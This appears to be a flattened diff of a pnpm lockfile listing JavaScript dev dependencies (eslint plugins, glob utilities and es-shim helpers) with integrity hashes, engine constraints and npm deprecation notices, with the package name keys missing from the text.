aria-query: 5.3.2+ array-includes: 3.1.9+ array.prototype.flatmap: 1.3.3+ ast-types-flow: 0.0.8+ axe-core: 4.11.4+ axobject-query: 4.1.0+ damerau-levenshtein: 1.0.8+ emoji-regex: 9.2.2+ eslint: 8.57.1+ hasown: 2.0.3+ jsx-ast-utils: 3.3.5+ language-tags: 1.0.9+ minimatch: 3.1.5+ object.fromentries: 2.0.8+ safe-regex-test: 1.1.0+ string.prototype.includes: 2.0.1+ dev: true++ resolution: {integrity: sha512-AZYbMo/NW9chdL7vk6HQzQhT+PvTAEVqWk9ziruUoW2kAOcN5qNyelv70e0F1VNQAbvutOC9oc+xfWycI9FxDw==}+ engines: {node: '>=10'}+ peerDependencies:+ eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0+ dependencies:+ eslint: 8.57.1+ dev: true++ resolution: {integrity: sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==}+ engines: {node: '>=4'}+ peerDependencies:+ eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7+ dependencies:+ array-includes: 3.1.9+ array.prototype.findlast: 1.2.5+ array.prototype.flatmap: 1.3.3+ array.prototype.tosorted: 1.1.4+ doctrine: 2.1.0+ es-iterator-helpers: 1.3.2+ eslint: 8.57.1+ estraverse: 5.3.0+ hasown: 2.0.3+ jsx-ast-utils: 3.3.5+ minimatch: 3.1.5+ object.entries: 1.1.9+ object.fromentries: 2.0.8+ object.values: 1.2.1+ prop-types: 15.8.1+ resolve: 2.0.0-next.6+ semver: 6.3.1+ string.prototype.matchall: 4.0.12+ string.prototype.repeat: 1.0.0+ dev: true++ resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ dependencies:+ esrecurse: 4.3.0+ estraverse: 5.3.0+ dev: true++ resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ dev: true++ resolution: {integrity: sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ deprecated: This version is no longer supported. Please see https://eslint.org/version-support for other options.+ hasBin: true+ dependencies:+ '@eslint-community/eslint-utils': 4.9.1([email protected])+ '@eslint-community/regexpp': 4.12.2+ '@eslint/eslintrc': 2.1.4+ '@eslint/js': 8.57.1+ '@humanwhocodes/config-array': 0.13.0+ '@humanwhocodes/module-importer': 1.0.1+ '@nodelib/fs.walk': 1.2.8+ '@ungap/structured-clone': 1.3.0+ ajv: 6.15.0+ chalk: 4.1.2+ cross-spawn: 7.0.6+ debug: 4.4.3+ doctrine: 3.0.0+ escape-string-regexp: 4.0.0+ eslint-scope: 7.2.2+ eslint-visitor-keys: 3.4.3+ espree: 9.6.1+ esquery: 1.7.0+ esutils: 2.0.3+ fast-deep-equal: 3.1.3+ file-entry-cache: 6.0.1+ find-up: 5.0.0+ glob-parent: 6.0.2+ globals: 13.24.0+ graphemer: 1.4.0+ ignore: 5.3.2+ imurmurhash: 0.1.4+ is-glob: 4.0.3+ is-path-inside: 3.0.3+ js-yaml: 4.1.1+ json-stable-stringify-without-jsonify: 1.0.1+ levn: 0.4.1+ lodash.merge: 4.6.2+ minimatch: 3.1.5+ natural-compare: 1.4.0+ optionator: 0.9.4+ strip-ansi: 6.0.1+ text-table: 0.2.0+ transitivePeerDependencies:+ - supports-color+ dev: true++ resolution: {integrity: sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==}+ engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0}+ dependencies:+ acorn: 8.16.0+ acorn-jsx: 5.3.2([email protected])+ eslint-visitor-keys: 3.4.3+ dev: true++ resolution: {integrity: sha512-Ap6G0WQwcU/LHsvLwON1fAQX9Zp0A2Y6Y/cJBl9r/JbW90Zyg4/zbG6zzKa2OTALELarYHmKu0GhpM5EO+7T0g==}+ engines: {node: '>=0.10'}+ dependencies:+ estraverse: 5.3.0+ dev: true++ resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==}+ engines: {node: '>=4.0'}+ dependencies:+ estraverse: 5.3.0+ dev: true++ resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==}+ engines: {node: '>=4.0'}+ dev: true++ resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==}+ dev: false++ resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==}+ dev: true++ resolution: {integrity: sha512-jt2DW/aNFNwke7AUd+Z+e6pz39KO5rzdbbFCg2sGafS4mk13MI7Z8O5z9cADNn5lhGODIgLwug6TZO2ctf7kcw==}+ engines: {node: '>=6.0.0'}+ dev: false++ resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==}+ engines: {node: '>=8.6.0'}+ dependencies:+ '@nodelib/fs.stat': 2.0.5+ '@nodelib/fs.walk': 1.2.8+ glob-parent: 5.1.2+ merge2: 1.4.1+ micromatch: 4.0.8+ dev: true++ resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==}+ dev: true++ resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==}+ dev: true++ resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==}+ dependencies:+ reusify: 1.1.0+ dev: true++ resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==}+ engines: {node: '>=12.0.0'}+ peerDependencies:+ picomatch: ^3 || ^4+ peerDependenciesMeta:+ picomatch:+ optional: true+ dependencies:+ picomatch: 4.0.4+ dev: true++ resolution: {integrity: sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==}+ engines: {node: ^10.12.0 || >=12.0.0}+ dependencies:+ flat-cache: 3.2.0+ dev: true++ resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==}+ engines: {node: '>=8'}+ dependencies:+ to-regex-range: 5.0.1+ dev: true++ resolution: {integrity: sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==}+ engines: {node: '>=10'}+ dependencies:+ locate-path: 6.0.0+ path-exists: 4.0.0+ dev: true++ resolution: {integrity: sha512-pVIECanWFC61Hzl2+oOCtoJ3F17kglZC/6N94eRWycFgBH35hHx0Li604ZIzhseh97mf2p0cv7vVrOZGoqhlEg==}+ dependencies:+ magic-string: 0.30.21+ mlly: 1.8.2+ rollup: 4.60.2+ dev: true++ resolution: {integrity: sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==}+ engines: {node: ^10.12.0 || >=12.0.0}+ dependencies:+ flatted: 3.4.2+ keyv: 4.5.4+ rimraf: 3.0.2+ dev: true++ resolution: {integrity: sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==}+ dev: true++ resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==}+ engines: {node: '>= 0.4'}+ dependencies:+ is-callable: 1.2.7+ dev: true++ resolution: {integrity: sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==}+ engines: {node: '>=14'}+ dependencies:+ cross-spawn: 7.0.6+ signal-exit: 4.1.0+ dev: true++ resolution: {integrity: sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==}+ dev: true++ resolution: {integrity: sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w==}+ peerDependencies:+ '@emotion/is-prop-valid': '*'+ react: ^18.0.0 || ^19.0.0+ react-dom: ^18.0.0 || ^19.0.0+ peerDependenciesMeta:+ '@emotion/is-prop-valid':+ optional: true+ react:+ optional: true+ react-dom:+ optional: true+ dependencies:+ motion-dom: 11.18.1+ motion-utils: 11.18.1+ react: 18.3.1+ react-dom: 18.3.1([email protected])+ tslib: 2.8.1+ dev: false++ resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==}+ dev: true++ resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==}+ engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0}+ os: [darwin]+ requiresBuild: true+ dev: true+ optional: true++ resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==}+ dev: true++ resolution: {integrity: sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ define-properties: 1.2.1+ functions-have-names: 1.2.3+ hasown: 2.0.3+ is-callable: 1.2.7+ dev: true++ resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==}+ dev: true++ resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind-apply-helpers: 1.0.2+ es-define-property: 1.0.1+ es-errors: 1.3.0+ es-object-atoms: 1.1.1+ function-bind: 1.1.2+ get-proto: 1.0.1+ gopd: 1.2.0+ has-symbols: 1.1.0+ hasown: 2.0.3+ math-intrinsics: 1.1.0+ dev: true++ resolution: {integrity: sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==}+ engines: {node: '>=6'}+ dev: false++ resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==}+ engines: {node: '>= 0.4'}+ dependencies:+ dunder-proto: 1.0.1+ es-object-atoms: 1.1.1+ dev: true++ resolution: {integrity: sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ es-errors: 1.3.0+ get-intrinsic: 1.3.0+ dev: true++ resolution: {integrity: sha512-yTb+8DXzDREzgvYmh6s9vHsSVCHeC0G3PI5bEXNBHtmshPnO+S5O7qgLEOn0I5QvMy6kpZN8K1NKGyilLb93wA==}+ dependencies:+ resolve-pkg-maps: 1.0.0+ dev: true++ resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==}+ engines: {node: '>= 6'}+ dependencies:+ is-glob: 4.0.3+ dev: true++ resolution: {integrity: sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==}+ engines: {node: '>=10.13.0'}+ dependencies:+ is-glob: 4.0.3+ dev: true++ resolution: {integrity: sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==}+ engines: {node: '>=16 || 14 >=14.17'}+ deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting [email protected]+ hasBin: true+ dependencies:+ foreground-child: 3.3.1+ jackspeak: 2.3.6+ minimatch: 9.0.9+ minipass: 7.1.3+ path-scurry: 1.11.1+ dev: true++ resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==}+ deprecated: Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting [email protected]+ dependencies:+ fs.realpath: 1.0.0+ inflight: 1.0.6+ inherits: 2.0.4+ minimatch: 3.1.5+ once: 1.4.0+ path-is-absolute: 1.0.1+ dev: true++ resolution: {integrity: sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==}+ engines: {node: '>=8'}+ dependencies:+ type-fest: 0.20.2+ dev: true++ resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ define-properties: 1.2.1+ gopd: 1.2.0+ dev: true++ resolution: {integrity: sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==}+ engines: {node: '>=10'}+ dependencies:+ array-union: 2.1.0+ dir-glob: 3.0.1+ fast-glob: 3.3.3+ ignore: 5.3.2+ merge2: 1.4.1+ slash: 3.0.0+ dev: true++ resolution: {integrity: sha512-2vFqsaDVIT9Gz7N6kAL++pLpp41l3PfDuusHcjnGLfR6+huZkl6ziX+zgVC3ZxpqWhzH6pyDdGrCeDhMIvwaxw==}+ peerDependencies:+ csstype: ^3.0.10+ dependencies:+ csstype: 3.2.3+ dev: false++ resolution: {integrity: sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==}+ dev: false++ resolution: {integrity: sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==}+ dev: true++ resolution: {integrity: sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==}+ dependencies:+ es-define-property: 1.0.1+ dev: true++ resolution: {integrity: sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ dunder-proto: 1.0.1+ dev: true++ resolution: {integrity: sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==}+ engines: {node: '>= 0.4'}+ dependencies:+ has-symbols: 1.1.0+ dev: true++ resolution: {integrity: sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==}+ engines: {node: '>= 0.4'}+ dependencies:+ function-bind: 1.1.2+ dev: true++ resolution: {integrity: sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==}+ engines: {node: '>= 4'}+ dev: true++ resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==}+ engines: {node: '>=6'}+ dependencies:+ parent-module: 1.0.1+ resolve-from: 4.0.0+ dev: true++ resolution: {integrity: sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==}+ engines: {node: '>=0.8.19'}+ dev: true++ resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==}+ deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.+ dependencies:+ once: 1.4.0+ wrappy: 1.0.2+ dev: true++ resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==}+ dev: true++ resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==}+ engines: {node: '>= 0.4'}+ dependencies:+ es-errors: 1.3.0+ hasown: 2.0.3+ side-channel: 1.1.0+ dev: true++ resolution: {integrity: sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==}+ engines: {node: '>=12'}+ dev: false++ resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bind: 1.0.9+ call-bound: 1.0.4+ get-intrinsic: 1.3.0+ dev: true++ resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ async-function: 1.0.0+ call-bound: 1.0.4+ get-proto: 1.0.1+ has-tostringtag: 1.0.2+ safe-regex-test: 1.1.0+ dev: true++ resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ has-bigints: 1.1.0+ dev: true++ resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==}+ engines: {node: '>=8'}+ dependencies:+ binary-extensions: 2.3.0+ dev: true++ resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-tostringtag: 1.0.2+ dev: true++ resolution: {integrity: sha512-gNCGbnnnnFAUGKeZ9PdbyeGYJqewpmc2aKHUEMO5nQPWU9lOmv7jcmQIv+qHD8fXW6W7qfuCwX4rY9LNRjXrkQ==}+ dependencies:+ semver: 7.7.4+ dev: true++ resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==}+ engines: {node: '>= 0.4'}+ dependencies:+ hasown: 2.0.3+ dev: true++ resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ get-intrinsic: 1.3.0+ is-typed-array: 1.1.15+ dev: true++ resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-tostringtag: 1.0.2+ dev: true++ resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==}+ engines: {node: '>=0.10.0'}+ dev: true++ resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ dev: true++ resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ generator-function: 2.0.1+ get-proto: 1.0.1+ has-tostringtag: 1.0.2+ safe-regex-test: 1.1.0+ dev: true++ resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==}+ engines: {node: '>=0.10.0'}+ dependencies:+ is-extglob: 2.1.1+ dev: true++ resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-tostringtag: 1.0.2+ dev: true++ resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==}+ engines: {node: '>=0.12.0'}+ dev: true++ resolution: {integrity: sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==}+ engines: {node: '>=8'}+ dev: true++ resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ gopd: 1.2.0+ has-tostringtag: 1.0.2+ hasown: 2.0.3+ dev: true++ resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ dev: true++ resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-tostringtag: 1.0.2+ dev: true++ resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ has-symbols: 1.1.0+ safe-regex-test: 1.1.0+ dev: true++ resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ which-typed-array: 1.1.20+ dev: true++ resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==}+ engines: {node: '>= 0.4'}+ dev: true++ resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ dev: true++ resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==}+ engines: {node: '>= 0.4'}+ dependencies:+ call-bound: 1.0.4+ get-intrinsic: 